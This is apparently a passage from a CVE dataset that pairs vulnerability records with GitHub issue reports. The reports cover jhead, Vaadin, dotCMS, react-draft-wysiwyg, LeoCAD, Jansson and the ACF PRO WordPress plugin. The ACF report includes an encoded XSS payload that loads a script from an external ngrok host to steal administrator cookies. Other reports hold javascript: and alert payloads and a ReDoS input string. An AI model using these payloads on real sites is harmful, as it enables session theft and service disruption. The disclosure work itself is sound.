import sun.reflect.ConstantPool;
public class Main {
public static void main(String[] args) {
Consumer<Object> consumer = Test::test;
ConstantPool cp = SharedSecrets.getJavaLangAccess().getConstantPool(consumer.getClass());
for (int i = cp.getSize() - 1; i >= 0; i--) {
try {
System.out.println("index: " + i + ", method: " + cp.getMethodAt(i) + ", info: " + Arrays.toString(cp.getMemberRefInfoAt(i)));
} catch (Throwable ignored) {
}
}
Test.test(null);
System.out.println(Test.a);
}
public static class Test {
public static boolean a = false;
public static void test(Object o) {
System.out.println("test was invoked");
}
}
}
```
Result:
```
--- OpenJ9 ---
<clinit> was invoked
index: 5, method: public static void Main$Test.test(java.lang.Object), info: [Main$Test, test, (Ljava/lang/Object;)V]
index: 2, method: public java.lang.Object(), info: [java/lang/Object, <init>, ()V]
test was invoked
false
--- Hotspot ---
index: 18, method: public static void Main$Test.test(java.lang.Object), info: [Main$Test, test, (Ljava/lang/Object;)V]
index: 10, method: public java.lang.Object(), info: [java/lang/Object, <init>, ()V]
<clinit> was invoked
test was invoked
false
```
In this case, OpenJ9 can get `test` method correctly, but `<clinit>` was still invoked earlier than Hotspot. | <clinit> sometimes will not be invoked when calling static methods at first. | https://api.github.com/repos/eclipse-openj9/openj9/issues/12016/comments | 5 | 2021-02-21T22:28:06Z | 2021-03-09T21:54:55Z | https://github.com/eclipse-openj9/openj9/issues/12016 | 812,967,958 | 12,016 | 1,880 |
CVE-2021-3496 | 2021-04-22T19:15:07.450 | A heap-based buffer overflow was found in jhead in version 3.06 in Get16u() in exif.c when processing a crafted file. | {
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{
"source": "patrick@puiterwijk.org",
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"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"Matthias-Wandel",
"jhead"
] | Hi jhead Team
I found an overflow error.
System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
jhead version 3.06 commit 871e31925611584ffe64467e7d8b1bbac6441cac
file: [jhead_poc.zip](https://github.com/Matthias-Wandel/jhead/files/6300939/jhead_poc.zip)
Verification steps：
1.Get the source code of jhead
Edit file makefile
```
OBJ=obj
SRC=.
CFLAGS:=$(shell dpkg-buildflags --get CFLAGS) -fsanitize=address
LDFLAGS:=$(shell dpkg-buildflags --get LDFLAGS) -fsanitize=address
...
```
2.Compile the jhead
```bash
$ make
```
3.run jhead
```bash
$ ./jhead poc.jpg
```
asan info
```bash
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal value pointer for tag 0110 in Exif
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal number format 232 for tag 0300 in Exif
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 11000004
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal value pointer for tag 9004 in Exif
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 3639b234
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal number format 25724 for tag dc6e in Exif
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal number format 255 for tag 9bb0 in Exif
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 30002
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 30003
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 39404
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 30000
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 20006
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 20007
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 40008
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 20009
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 40010
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal Exif number format 1540 for maker tag 0000
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 14000001
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 20001
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 9e00d3
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal Exif number format 160 for maker tag 0062
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count ab0000
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal Exif number format 37779 for maker tag 9393
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 66204745
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 69460000
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 7f02061
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 51f87089
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Illegal Exif number format 47318 for maker tag 937a
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count ce0009
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 40000
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 383952
Nonfatal Error : 'crashes/id:000000,sig:06,src:001187,time:15492164,op:havoc,rep:8' Bad components count 30303130
=================================================================
==4037677==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a000000515 at pc 0x0000004ce2aa bp 0x7fffe9e82350 sp 0x7fffe9e82348
READ of size 1 at 0x61a000000515 thread T0
#0 0x4ce2a9 in Get16u exif.c
#1 0x4d78c0 in ProcessCanonMakerNoteDir makernote.c:128:27
#2 0x4d78c0 in ProcessMakerNote makernote.c:189:9
#3 0x4d0d4a in ProcessExifDir exif.c:578:13
#4 0x4d1a46 in ProcessExifDir exif.c:870:25
#5 0x4cfde3 in process_EXIF exif.c:1060:5
#6 0x4ca981 in ReadJpegSections jpgfile.c:289:25
#7 0x4cb257 in ReadJpegFile jpgfile.c:381:11
#8 0x4c6274 in ProcessFile jhead.c:914:10
#9 0x4c6274 in main jhead.c:1770:13
#10 0x7fb64aa370b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x41c45d in _start (/home/hh/Downloads/jhead/jhead+0x41c45d)
0x61a000000515 is located 9 bytes to the right of 1164-byte region [0x61a000000080,0x61a00000050c)
allocated by thread T0 here:
#0 0x494b9d in malloc (/home/hh/Downloads/jhead/jhead+0x494b9d)
#1 0x4ca120 in ReadJpegSections jpgfile.c:175:25
#2 0x4cb257 in ReadJpegFile jpgfile.c:381:11
SUMMARY: AddressSanitizer: heap-buffer-overflow exif.c in Get16u
Shadow bytes around the buggy address:
0x0c347fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c347fff80a0: 00 04[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4037677==ABORTING
```
Tanks
---------------------------------------------------------------------------------
HX from **Topsec alpha Security Team**
| [ Security] heap-buffer-overflow of exif.c in function Get16u | https://api.github.com/repos/Matthias-Wandel/jhead/issues/33/comments | 2 | 2021-04-13T03:00:34Z | 2021-04-29T05:47:49Z | https://github.com/Matthias-Wandel/jhead/issues/33 | 856,520,666 | 33 | 1,881 |
CVE-2021-24241 | 2021-04-22T21:15:09.893 | The Advanced Custom Fields Pro WordPress plugin before 5.9.1 did not properly escape the generated update URL when outputting it in an attribute, leading to a reflected Cross-Site Scripting issue in the update settings page. | {
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] | github.com | [
"jdordonezn",
"Reflected-XSS-in-WordPress-for-ACF-PRO-before-5.9.1-plugin"
] | WordPress allows 'Cross-site Scripting Reflected' in resource edit.php, because the call an update page of Advanced Custom Fields PRO (Versions before 5.9.1) plugin, enable injections of JavaScript code.
#### Steps to reproduce the vulnerability
1. Add the payload XSS at the end of the url, so:
https://SiteWithWordpress/wp-admin/edit.php?post_type=acf-field-group&page=acf-settings-updates&"><script>alert('XSS')</script>
2. However, after of try some payloads I see the [space] character is replaced in the response with underscore character [ _ ], the same goes for dot character [ . ], whereby not is possible inject useful payloads for extract for example the cookie of the session.
3. I found a way to bypass this problem, in the request replace [space] character for [%0c ] and dot character [ . ] for equivalent html encode, this content is rendered successfully due the response is an HTML page.
4. Now, is time for making the script for sending cookies of administrator user to evil server of hacker, for example
5. Of course, previously must encode in URL the payload that calls previous script, so https://WordPressDomain/wp-admin/edit.php?post_type=acf-field-group&page=acf-settings-updates&"XSS%22%3e%3c%73%63%72%69%70%74%0c%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%32%65%32%30%30%32%66%39%26%23%78%32%65%3b%6e%67%72%6f%6b%26%23%78%32%65%3b%69%6f%2f%72%65%71%75%65%73%74%26%23%78%32%65%3b%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e
6. Send the payload and you will see two request, the first make a promise for sending the cookies and second is where the promise is executed.
7. Now the hacker has cookies of administrator user in the evil server.
#### Remediation
I held messages with the dev team of Advanced Custom Fields, they fixed the vulnerability in the versión 5.9.1 of ACF PRO, here is the report:
https://www.advancedcustomfields.com/blog/acf-5-9-1-release/
https://wpscan.com/vulnerability/d1e9c995-37bd-4952-b88e-945e02e3c83f
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24241 | Reflected XSS in WordPress for 'Advanced Custom Fields PRO' plugin | https://api.github.com/repos/jdordonezn/Reflected-XSS-in-WordPress-for-ACF-PRO-before-5.9.1-plugin/issues/1/comments | 0 | 2021-01-20T17:51:53Z | 2021-04-30T15:17:48Z | https://github.com/jdordonezn/Reflected-XSS-in-WordPress-for-ACF-PRO-before-5.9.1-plugin/issues/1 | 790,192,294 | 1 | 1,882 |
CVE-2020-36320 | 2021-04-23T16:15:08.360 | Unsafe validation RegEx in EmailValidator class in com.vaadin:vaadin-server versions 7.0.0 through 7.7.21 (Vaadin 7.0.0 through 7.7.21) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses. | {
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"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
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] | github.com | [
"vaadin",
"framework"
] | **Originally by _jtomaszk_**
___
Class com.vaadin.data.validator.EmailValidator is using unsafe validation regex
```
"^([a-zA-Z0-9_\\.\\-+])+@(([a-zA-Z0-9-])+\\.)+([a-zA-Z0-9]{2,4})+$"
```
example of potential malicious input that validation never ends:
```
a@a.m5qRt8zLxQG4mMeu9yKZm5qRt8zLxQG4mMeu9yKZm5qRt8zLxQG4mMeu9yKZ&
```
related info [http://www.regular-expressions.info/catastrophic.html]
___
Imported from https://dev.vaadin.com/ issue #20065 | EmailValidator catastrophic exponential-time regular expression | https://api.github.com/repos/vaadin/framework/issues/7757/comments | 5 | 2016-07-19T08:14:53Z | 2020-10-06T12:23:22Z | https://github.com/vaadin/framework/issues/7757 | 194,789,526 | 7,757 | 1,883 |
CVE-2021-31407 | 2021-04-23T16:15:08.767 | Vulnerability in OSGi integration in com.vaadin:flow-server versions 1.2.0 through 2.4.7 (Vaadin 12.0.0 through 14.4.9), and 6.0.0 through 6.0.1 (Vaadin 19.0.0) allows attacker to access application classes and resources on the server via crafted HTTP request. | {
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] | In our OSGi examples (https://github.com/vaadin/base-starter-flow-osgi & https://github.com/vaadin/base-starter-flow-karaf) class files and other resources can be accessed from the main bundles. This is unexpected behaviour from the end users point of view and can be considered a bad practise.
We should either change the implementation of our integration code so that generic content from bundle(s) is not served or change the examples so that only minimal and security wise safe content is exposed.
If we only change our examples, it should be documented that all resources (including class files) from the bundle that is registering the servlet are exposed. | Vaadin OSGi applications should not expose relevant classpath content as static resources | https://api.github.com/repos/vaadin/osgi/issues/50/comments | 5 | 2021-03-08T12:42:42Z | 2021-03-22T07:22:47Z | https://github.com/vaadin/osgi/issues/50 | 824,523,300 | 50 | 1,884 |
CVE-2020-17542 | 2021-04-23T21:15:07.930 | Cross Site Scripting (XSS) in dotCMS v5.1.5 allows remote attackers to execute arbitrary code by injecting a malicious payload into the "Task Detail" comment window of the "/dotAdmin/#/c/workflow" component. | {
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] | github.com | [
"dotCMS",
"core"
] | hi,
I've found a xss vul on DotCMS v5.1.5,it allows remote attackers to insert js code
and print cookie.Some screenshots below.
1.url: http://***.**.**.**:8088/dotAdmin/#/c/workflow
Home->Task->landing page
add payload in comments windows ,and submit.
use burpsuite to intercept this request
click Home->Task->landing page again you will see the alert
| DotCMS v5.1.5 stored xss vul. | https://api.github.com/repos/dotCMS/core/issues/16890/comments | 1 | 2019-07-19T03:44:10Z | 2019-11-22T03:35:45Z | https://github.com/dotCMS/core/issues/16890 | 470,122,997 | 16,890 | 1,885 |
CVE-2021-31712 | 2021-04-24T21:15:07.490 | react-draft-wysiwyg (aka React Draft Wysiwyg) before 1.14.6 allows a javascript: URi in a Link Target of the link decorator in decorators/Link/index.js when a draft is shared across users, leading to XSS. | {
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] | github.com | [
"jpuri",
"react-draft-wysiwyg"
] | The `react-draft-wysiwyg` library is not filtering the `javascript:` prefix in the Link Target. XSS can be triggered when someone clicks the malicious link on the draft. This vulnerability can be exploited in a scenario where the draft is shared among different users (such as in a blog/content dashboard).
**Steps to reproduce**
1. On https://jpuri.github.io/react-draft-wysiwyg/#/demo, insert a link.
2. Set `javascript:alert(document.domain)` as Link Target.
3. Hover the link and click the icon to open the link.
4. You can see the JavaScript is executed under the context of `jpuri.github.io`.
**Expectation**
If the link starts with `javascript:`, don't open it. You can try another rich text editor such as https://ckeditor.com/ckeditor-5/demo/ for reference.
The XSS itself is triggered because of [this line](https://github.com/jpuri/react-draft-wysiwyg/blob/f59ee8419cdbd45aab3bdfdf1995f112b09bbb6a/src/decorators/Link/index.js#L35) (`window.open(url, 'blank')`). The `url` should be validated before it reaches that line.
| XSS via Link Target | https://api.github.com/repos/jpuri/react-draft-wysiwyg/issues/1102/comments | 1 | 2021-04-14T08:10:28Z | 2021-08-11T13:54:38Z | https://github.com/jpuri/react-draft-wysiwyg/issues/1102 | 857,641,480 | 1,102 | 1,886 |
CVE-2021-31804 | 2021-04-26T08:15:07.183 | LeoCAD before 21.03 sometimes allows a use-after-free during the opening of a new document. | {
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"Exploit",
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] | github.com | [
"leozide",
"leocad"
] | **Describe the bug**
This only happen if LeoCAD reopen the last document.
This need leocad compiled with address sanitizer. Rough patch:
```diff
diff --git a/leocad.pro b/leocad.pro
index 5b9abb49..39dcf87f 100644
--- a/leocad.pro
+++ b/leocad.pro
@@ -18,6 +18,11 @@ qtHaveModule(gamepad) {
INCLUDEPATH += qt common
CONFIG += precompile_header incremental c++11 force_debug_info
+linux-* {
+ QMAKE_CXXFLAGS += -fsanitize=address
+ LIBS += -fsanitize=address
+}
+
win32 {
RC_ICONS = resources/leocad.ico
VERSION = 21.1.0.0
```
**To Reproduce**
Steps to reproduce the behavior:
1. Start leocad with the last document reopened
2. File > New
3. Crash
**Expected behavior**
Shouldn't crash
**Stack trace**
```
=================================================================
==128700==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120003ef6e0 at pc 0x000000760c51 bp 0x7ffc67971560 sp 0x7ffc67971558
READ of size 8 at 0x6120003ef6e0 thread T0
#0 0x760c50 in std::vector<Image, std::allocator<Image> >::operator[](unsigned long) /usr/include/c++/10/bits/stl_vector.h:1046
#1 0x760c50 in lcTexture::Upload(lcContext*) common/lc_texture.cpp:207
#2 0x59c83e in lcPiecesLibrary::UploadTextures(lcContext*) common/lc_library.cpp:1555
#3 0x6fb344 in lcScene::Draw(lcContext*) const common/lc_scene.cpp:401
#4 0x7afb9a in lcView::OnDraw() common/lc_view.cpp:972
#5 0x7f0114c6c08c (/lib64/libQt5Widgets.so.5+0x20d08c)
#6 0x7f0114c4db1d in QWidget::event(QEvent*) (/lib64/libQt5Widgets.so.5+0x1eeb1d)
#7 0x7f0114c0cec2 in QApplicationPrivate::notify_helper(QObject*, QEvent*) (/lib64/libQt5Widgets.so.5+0x1adec2)
#8 0x7f0113f8fbd7 in QCoreApplication::notifyInternal2(QObject*, QEvent*) (/lib64/libQt5Core.so.5+0x281bd7)
#9 0x7f0114c45be9 in QWidgetPrivate::sendPaintEvent(QRegion const&) (/lib64/libQt5Widgets.so.5+0x1e6be9)
#10 0x7f0114c6beee in QOpenGLWidget::resizeEvent(QResizeEvent*) (/lib64/libQt5Widgets.so.5+0x20ceee)
#11 0x7f0114c4e573 in QWidget::event(QEvent*) (/lib64/libQt5Widgets.so.5+0x1ef573)
#12 0x7f0114c0cec2 in QApplicationPrivate::notify_helper(QObject*, QEvent*) (/lib64/libQt5Widgets.so.5+0x1adec2)
#13 0x7f0113f8fbd7 in QCoreApplication::notifyInternal2(QObject*, QEvent*) (/lib64/libQt5Core.so.5+0x281bd7)
#14 0x7f0114c45b0d in QWidgetPrivate::sendPendingMoveAndResizeEvents(bool, bool) (/lib64/libQt5Widgets.so.5+0x1e6b0d)
#15 0x7f0114c4a496 in QWidgetPrivate::show_helper() (/lib64/libQt5Widgets.so.5+0x1eb496)
#16 0x7f0114c4d652 in QWidgetPrivate::setVisible(bool) (/lib64/libQt5Widgets.so.5+0x1ee652)
#17 0x5e3c39 in lcMainWindow::SetCurrentModelTab(lcModel*) common/lc_mainwindow.cpp:1580
#18 0x465632 in Project::SetActiveModel(int) common/project.cpp:155
#19 0x54d8f9 in lcApplication::SetProject(Project*) common/lc_application.cpp:269
#20 0x5eec61 in lcMainWindow::NewProject() common/lc_mainwindow.cpp:2293
#21 0x5fbec7 in lcMainWindow::HandleCommand(lcCommandId) common/lc_mainwindow.cpp:2545
#22 0x7f0113fbf3bf (/lib64/libQt5Core.so.5+0x2b13bf)
#23 0x7f0114c06645 in QAction::triggered(bool) (/lib64/libQt5Widgets.so.5+0x1a7645)
#24 0x7f0114c08f30 in QAction::activate(QAction::ActionEvent) (/lib64/libQt5Widgets.so.5+0x1a9f30)
#25 0x7f0114c09b0e in QAction::event(QEvent*) (/lib64/libQt5Widgets.so.5+0x1aab0e)
#26 0x7f0114c0cec2 in QApplicationPrivate::notify_helper(QObject*, QEvent*) (/lib64/libQt5Widgets.so.5+0x1adec2)
#27 0x7f0113f8fbd7 in QCoreApplication::notifyInternal2(QObject*, QEvent*) (/lib64/libQt5Core.so.5+0x281bd7)
#28 0x7f01145dbbc1 in QShortcutMap::dispatchEvent(QKeyEvent*) (/lib64/libQt5Gui.so.5+0x190bc1)
#29 0x7f01145dc112 in QShortcutMap::tryShortcut(QKeyEvent*) (/lib64/libQt5Gui.so.5+0x191112)
#30 0x7f0114597cc6 in QWindowSystemInterface::handleShortcutEvent(QWindow*, unsigned long, int, QFlags<Qt::KeyboardModifier>, unsigned int, unsigned int, unsigned int, QString const&, bool, unsigned short) (/lib64/libQt5Gui.so.5+0x14ccc6)
#31 0x7f01145af85e in QGuiApplicationPrivate::processKeyEvent(QWindowSystemInterfacePrivate::KeyEvent*) (/lib64/libQt5Gui.so.5+0x16485e)
#32 0x7f01145948cb in QWindowSystemInterface::sendWindowSystemEvents(QFlags<QEventLoop::ProcessEventsFlag>) (/lib64/libQt5Gui.so.5+0x1498cb)
#33 0x7f00ffcfe47d (/lib64/libQt5XcbQpa.so.5+0x6b47d)
#34 0x7f0112b38a9e in g_main_context_dispatch (/lib64/libglib-2.0.so.0+0x53a9e)
#35 0x7f0112b8aa97 (/lib64/libglib-2.0.so.0+0xa5a97)
#36 0x7f0112b35e72 in g_main_context_iteration (/lib64/libglib-2.0.so.0+0x50e72)
#37 0x7f0113fdc6f2 in QEventDispatcherGlib::processEvents(QFlags<QEventLoop::ProcessEventsFlag>) (/lib64/libQt5Core.so.5+0x2ce6f2)
#38 0x7f0113f8e57a in QEventLoop::exec(QFlags<QEventLoop::ProcessEventsFlag>) (/lib64/libQt5Core.so.5+0x28057a)
#39 0x7f0113f961b3 in QCoreApplication::exec() (/lib64/libQt5Core.so.5+0x2881b3)
#40 0x45b78d in main qt/qtmain.cpp:217
#41 0x7f01137771e1 in __libc_start_main (/lib64/libc.so.6+0x281e1)
#42 0x45c56d in _start (/home/hub/source/leocad/build/release/leocad+0x45c56d)
0x6120003ef6e0 is located 288 bytes inside of 320-byte region [0x6120003ef5c0,0x6120003ef700)
freed by thread T0 here:
#0 0x7f01152e75b7 in operator delete(void*) (/lib64/libasan.so.6+0xad5b7)
#1 0x775bb7 in lcView::DestroyResources(lcContext*) common/lc_view.cpp:342
previously allocated by thread T0 here:
#0 0x7f01152e6bb7 in operator new(unsigned long) (/lib64/libasan.so.6+0xacbb7)
#1 0x775b33 in lcView::CreateResources(lcContext*) common/lc_view.cpp:188
SUMMARY: AddressSanitizer: heap-use-after-free /usr/include/c++/10/bits/stl_vector.h:1046 in std::vector<Image, std::allocator<Image> >::operator[](unsigned long)
Shadow bytes around the buggy address:
0x0c2480075e80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c2480075e90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2480075ea0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c2480075eb0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c2480075ec0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c2480075ed0: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd
0x0c2480075ee0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c2480075ef0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2480075f00: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c2480075f10: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c2480075f20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==128700==ABORTING
```
**Version (please complete the following information):**
- OS: Linux Fedora 33
- LeoCAD Version: git `master` commit de3a3adf345c19c3146d77648b75f5aaba47108d
| Use-after-free when opening a new document | https://api.github.com/repos/leozide/leocad/issues/645/comments | 6 | 2021-03-08T04:40:59Z | 2021-04-26T20:35:24Z | https://github.com/leozide/leocad/issues/645 | 824,157,285 | 645 | 1,887 |
CVE-2020-36325 | 2021-04-26T18:15:07.493 | An issue was discovered in Jansson through 2.13.1. Due to a parsing error in json_loads, there's an out-of-bounds read-access bug. NOTE: the vendor reports that this only occurs when a programmer fails to follow the API specification | {
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] | 125 | https://github.com/akheron/jansson/issues/548 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"akheron",
"jansson"
] | Hi,
I encountered an OOB read memory corruption bug when fuzzing Jansson.
Below you can find the crash log:
```
# ./prog -detect_leaks=0
INFO: Seed: 665849601
INFO: Loaded 1 modules (10 inline 8-bit counters): 10 [0x5a3f90, 0x5a3f9a),
INFO: Loaded 1 PC tables (10 PCs): 10 [0x568020,0x5680c0),
INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes
INFO: A corpus is not provided, starting from an empty corpus
#2 INITED cov: 3 ft: 4 corp: 1/1b exec/s: 0 rss: 27Mb
#19711 NEW cov: 6 ft: 7 corp: 2/4b lim: 198 exec/s: 0 rss: 47Mb L: 3/3 MS: 4 InsertByte-InsertByte-ShuffleBytes-ShuffleBytes-
#19777 REDUCE cov: 6 ft: 7 corp: 2/3b lim: 198 exec/s: 0 rss: 47Mb L: 2/2 MS: 1 EraseBytes-
#524288 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 262144 rss: 610Mb
#1048576 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 262144 rss: 658Mb
#2097152 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 262144 rss: 659Mb
#4194304 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 262144 rss: 659Mb
#8388608 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 262144 rss: 659Mb
#16777216 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 254200 rss: 659Mb
#33554432 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 252288 rss: 659Mb
#67108864 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 246723 rss: 659Mb
#134217728 pulse cov: 6 ft: 7 corp: 2/3b lim: 4096 exec/s: 241833 rss: 659Mb
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1898031==ERROR: AddressSanitizer: SEGV on unknown address 0x610000050000 (pc 0x7f229f4f020b bp 0x7ffcf5010a30 sp 0x7ffcf5010938 T0)
==1898031==The signal is caused by a READ memory access.
#0 0x7f229f4f020b in string_get /root/jansson-2.13/src/load.c:893:7
#1 0x7f229f4f06f3 in stream_get.part.0 /root/jansson-2.13/src/load.c:158:13
#2 0x7f229f4f0837 in stream_get /root/jansson-2.13/src/load.c:154:8
#3 0x7f229f4f0837 in lex_get_save /root/jansson-2.13/src/load.c:233:13
#4 0x7f229f4f0a32 in lex_scan /root/jansson-2.13/src/load.c:604:17
#5 0x7f229f4f15da in parse_json.constprop.0 /root/jansson-2.13/src/load.c:868:9
#6 0x7f229f4f1721 in json_loads /root/jansson-2.13/src/load.c:920:14
#7 0x54dad3 in LLVMFuzzerTestOneInput /root/fuzzing/jansson/fuzz.c:12:9
#8 0x4586a1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/root/fuzzing/jansson/prog+0x4586a1)
#9 0x457de5 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) (/root/fuzzing/jansson/prog+0x457de5)
#10 0x45a087 in fuzzer::Fuzzer::MutateAndTestOne() (/root/fuzzing/jansson/prog+0x45a087)
#11 0x45ad85 in fuzzer::Fuzzer::Loop(std::__Fuzzer::vector<fuzzer::SizedFile, fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&) (/root/fuzzing/jansson/prog+0x45ad85)
#12 0x44973e in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/root/fuzzing/jansson/prog+0x44973e)
#13 0x472582 in main (/root/fuzzing/jansson/prog+0x472582) #14 0x7f229f1810b2 in __libc_start_main /build/glibc-YYA7BZ/glibc-2.31/csu/../csu/libc-start.c:308:16
#15 0x41e4dd in _start (/root/fuzzing/jansson/prog+0x41e4dd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/jansson-2.13/src/load.c:893:7 in string_get
==1898031==ABORTING
MS: 2 InsertRepeatedBytes-CopyPart-; base unit: 97d170e1550eee4afc0af065b78cda302a97674c
0x5b,0x5d,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67
,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x6
